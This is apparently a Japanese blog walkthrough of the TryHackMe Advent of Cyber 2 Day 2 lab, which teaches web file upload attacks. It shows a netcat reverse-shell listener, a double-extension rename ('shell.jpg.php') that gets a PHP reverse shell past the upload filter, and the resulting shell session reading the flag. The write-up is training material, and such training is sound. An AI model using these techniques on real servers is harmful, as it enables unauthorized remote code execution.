[TryHackMe] Advent of Cyber 2, Day 2 - Walkthrough -

本稿では、[TryHackMe](https://tryhackme.com/)にて提供されている「[Advent of Cyber 2](https://tryhackme.com/room/adventofcyber2)」ルームに関する攻略方法（Walkthrough）について検証します。
「Advent of Cyber 2」は「free room」（無料）で提供されています。購読を必要とせずに仮想マシンを「展開（Deploy）」することができます。

>『Advent of Cyber 2』のWalkthroughインデックスを「[[TryHackMe] Advent of Cyber 2に参加してみた](https://qiita.com/v_avenger/items/ac9092374e5bf16a2dd0)」にて公開しました。

# [Day 2] Web Exploitation: The Elf Strikes Back
## ストーリー
![Story_Day02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/31baf16a-2b7d-e023-4a01-75f6b1948546.png)

> 昨日の英雄的な行動によって、`Christmas Control Centre`の制御を取り戻した後、エルフ・McSkidyはあなたへ重要な仕事を任せることを決断しました。
>
>「*ハッキングされていることが判明しているので、自分たちを守る方法が必要です！開発チームは、工場の周りをうろついている不審者の写真をアップロードするためのエルフ専用ウェブサイトを立ち上げました。プロダクションネットワークへ追加する前に安全であることを確認する必要があります。新たなサーバーに対するセキュリティ監査を実施し、ハッキングされないことを確認してください！*」

*書類の下側に次のメッセージが書かれた付箋があります。*

>エルフ・McEagerへ
>あなたにはシステムの監査用にID番号が割り当てられています。`YOUR_ID_HERE`これを使ってサイトのアップロードセクションにアクセスしてください。
>頑張ってください。

ID番号を書き留め、ブラウザから「不審者の写真アップロード」システムにアクセスします。

![photo_upload_site.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/35baeaa9-f606-d4a5-25be-54a7515be255.png)

## Day 2 - #1.
> What string of text needs adding to the URL to get access to the upload page?

ブラウザで「不審者の写真アップロード」システムへアクセスすると、`Please enter your ID as a GET parameter`と指示が表示されています。

```
?id=YOUR_ID_HERE
```

「**GETパラメータ（GET parameter）**」とは、クライアントのWebブラウザから、Webサーバー側に送信するデータをURLの末尾に特定の形式で表示したものです。URLの末尾に`?`記号を付け、`「パラメータ名=値」`の形式で記述します。
解答は「**?id=YOUR_ID_HERE**」がヒントです。

## Day 2 - #2.
> What type of file is accepted by the site?

アップロードページへアクセスします。
![Protection.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/701d9ef7-8c70-0554-f453-937ae2bc8ea3.png)

`Firefox`では`Ctrl + U`キーでHTMLソースコードを確認することができます。
![HTML_Source.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/89f44a91-8cc9-fd67-a5aa-94cd1d847dc9.png)

次のコードが気になります。

```
<input type=file id="chooseFile" accept=".jpeg,.jpg,.png">
```

アップロードされたファイルの拡張子をチェックしています。この場合、許可リスト「`accept=".jpeg,.jpg,.png"`」に含まれる拡張子をもつファイルのみがアップロードの許可がされています。
解答は「**画像**」の英語表記です。

## Day 2 - #3.
> In which directory are the uploaded files stored?

画像をアップロードするシステムです。このことからいくつかのディレクトリ名（`/uploads`,`/images`, `/media`,`/resources`など）を推定することができます。

![uploads.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/0da04820-e728-af58-d524-630b8aa52b43.png)

## Day 2 - #4.
> Activate your reverse shell and catch it in a netcat listener!

攻撃端末側で`nc`コマンド構文を使用し、リバースシェルからの接続を待ち受けます。

```
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
```

## Day 2 - #5.
> What is the flag in `/var/www/flag.txt`?

[pentestmonkey](http://pentestmonkey.net/) のリバースシェル [php-reverse-shell](http://pentestmonkey.net/) を設置する方法を検討します。

>事前に`php-reverse-shell.php`ソースコードを編集し、`$ip`の値を攻撃端末（`Kali`）のIPアドレスに変更しておきます。

![r_shell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/d18e287c-b895-c6ef-e5eb-9cea4f9f8acf.png)

`php-reverse-shell.php`ファイルを「不審者の写真アップロード」システムにアップロードします。
そのためには、**「ファイル拡張子フィルタリング」**を回避する必要があります。
![File Extension Filtering.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a667429e-3bd9-f1a4-d380-49f8204b5155.png)

そこで、拡張子を「.jpg.php」に変更します。ファイル拡張子フィルタリングは前方一致にてアップロードされたファイルの拡張子を判別しています。
ここでは、`php-reverse-shell.php`を`shell.jpg.php`へリネームしました。アップロードは成功です。
![successfully.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/be40e897-f323-0a32-8c64-9658103bfc0e.png)

`/uploads/`ディレクトリへアクセスします。`shell.jpg.php`ファイルがアップロードされていることが確認できます。

![r_shell_upload.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/bdb29a94-bb3d-392d-e8fe-0c0af501c764.png)

`shell.jpg.php`ファイルをクリックすると、攻撃端末で待ち受けていた`nc`が起動します。

![shell_exec.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/498c61b3-e4b5-abe2-1ab4-fcaac298f4d9.png)

```
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.11.19.198] from (UNKNOWN) [10.10.211.110] 40344
Linux security-server 4.18.0-193.28.1.el8_2.x86_64 #1 SMP Thu Oct 22 00:20:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 21:26:19 up  1:52,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: cannot set terminal process group (862): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ 
```

`/var/www/`ディレクトリにアクセスしてみます。

```
sh-4.4$ cd /var/www/
sh-4.4$ ls
ls
cgi-bin
flag.txt
html
```

`flag.txt`ファイルが見つかりました。

```
cat flag.txt


==============================================================


You've reached the end of the Advent of Cyber, Day 2 -- hopefully you're enjoying yourself so far, and are learning lots! 
This is all from me, so I'm going to take the chance to thank the awesome @Vargnaar for his invaluable design lessons, without which the theming of the past two websites simply would not be the same. 


Have a flag -- you deserve it!
THM{MGU3...{BLOCKED}...Mzhh}


Good luck on your mission (and maybe I'll see y'all again on Christmas Eve)!
 --Muiri (@MuirlandOracle)


==============================================================
```

これにて、「不審者の写真アップロード」システムのセキュリティ監査は終了です。このままプロダクションネットワークへ追加するわけにはいかないようです。

2日目のミッションが終了です。

# 参考になるTryHackMeのルーム
- [Upload Vulnerabilities](https://tryhackme.com/room/uploadvulns)
- [What the Shell?](https://tryhackme.com/room/introtoshells)

# Walkthrough
- Constant Vigilance, [The Elf Strikes Back - web exploitation](https://www.wclaymoody.com/blog/tryhackme-adventofcyber-2020/#day-2), フラグ取得までを自動化したPythonコード
- BRYAN WENDT, [TryHackMe – Advent of Cyber 2 – Day 2 – Walkthrough](https://bryanwendt.wordpress.com/2020/12/02/tryhackme-advent-of-cyber-2-day-2-walkthrough/)
- NEERANJAN MURUGAN, [Advent of Cyber 2 ~ Try Hack Me](https://neeranjan.com/advent-of-cyber-2-try-hack-me/)